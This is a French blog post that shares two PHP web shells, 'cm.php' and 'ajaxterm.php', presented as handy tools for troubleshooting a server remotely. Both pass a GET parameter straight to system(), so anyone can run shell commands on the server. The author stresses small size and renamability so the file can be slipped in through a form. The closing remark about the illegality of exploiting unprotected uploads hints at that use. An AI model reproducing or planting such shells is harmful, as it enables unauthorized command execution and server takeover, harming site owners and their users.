A la demande d’un collègue, voici deux petits scripts qui rendent bien service pour dépanner un serveur à distance.
Le premier, plus court, est pratique quand on doit le faire rentrer via un formulaire. On peut même facilement le rendre encore plus court en virant des balises html non indispensables. Je l’appelle cm.php :
<html><head><title>Exécution de commandes</title></head><body>
<pre><?php
system($command);
?></pre>
<form action="cm.php" method=get>
<textarea name=command><?php print($command); ?></textarea>
<input type="submit" value="GoGoGo..."/>
</form>
</body></html></code>
Le second est plus confortable à utiliser grâce à la conservation des commandes passées. Voici ajaxterm.php :
<?php
if($_GET['commande']) {
system($_GET['commande'] . ” 2>&1″);
} else {
?>
<html>
<head><title>Exécution de commandes</title>
<script type=”text/javascript”>
function makeAsyncRequest(url,callback,type) {
var http_request = false;
if (window.XMLHttpRequest) { // Mozilla, Safari,…
http_request = new XMLHttpRequest();
if (http_request.overrideMimeType) {
http_request.overrideMimeType(’text/xml’);
}
} else if (window.ActiveXObject) { // IE
try {
http_request = new ActiveXObject(”Msxml2.XMLHTTP”);
} catch (e) {
try {
http_request = new ActiveXObject(”Microsoft.XMLHTTP”);
} catch (e) {}
}
}
if (!http_request) {
alert(’Abandon
Impossible de créer une instance XMLHTTP’);
return false;
}
http_request.onreadystatechange = function() { onReadyStateChange(http_request,callback,type); };
http_request.open(’GET’, url, true);
http_request.send(null);
}
function onReadyStateChange(http_request,callback,type) {
if (http_request.readyState == 4) {
if (http_request.status == 200) {
if(type==’xml’)
callback(http_request.responseXML);
else
callback(http_request.responseText);
} else {
alert(’Un problème est survenu avec la requête.’);
}
}
}
function execute() {
function affiche(data) {
var theData = document.createTextNode(data);
document.getElementById(’term’).appendChild(theData);
}
var theData = document.createTextNode(’$ ‘ + document.getElementById(’commande’).value + “\n”);
document.getElementById(’term’).appendChild(theData);
makeAsyncRequest(document.location + ‘?commande=’ + document.getElementById(’commande’).value,affiche,’text’);
}
</script>
</head>
<body>
<div id=”term” style=”font-family:-moz-fixed; white-space:pre;”></div>
<form onsubmit=”execute(); return false;”>
<input type=”text” size=”100″ maxlength=”255″ id=”commande” value=”" style=”font-family:-moz-fixed;”>
<input type=”submit” value=”GoGoGo…”/>
</form>
</body></html>
<?php
}
?>
Les critères de réalisation étaient une taille limitée, tout doit tenir en un seul fichier, et celui-ci doit être renommable. Pour sûr ils peuvent être améliorés, tant fonctionnellement que graphiquement, mais ce sont avant tout des outils perso, donc si ça ne vous plait pas, améliorez-les vous-même.
Comme vous l’aurez deviné, l’aspect sécurité n’est pas leur point fort
Evitez de les laisser trainer sur vos sites à vous sans restriction d’accès… De plus, il est illégal de profiter des boîtes qui ne protègent pas leurs formulaires ou leurs uploads de fichiers (les logs du serveur enregistrent votre IP et toutes les commandes tapées)…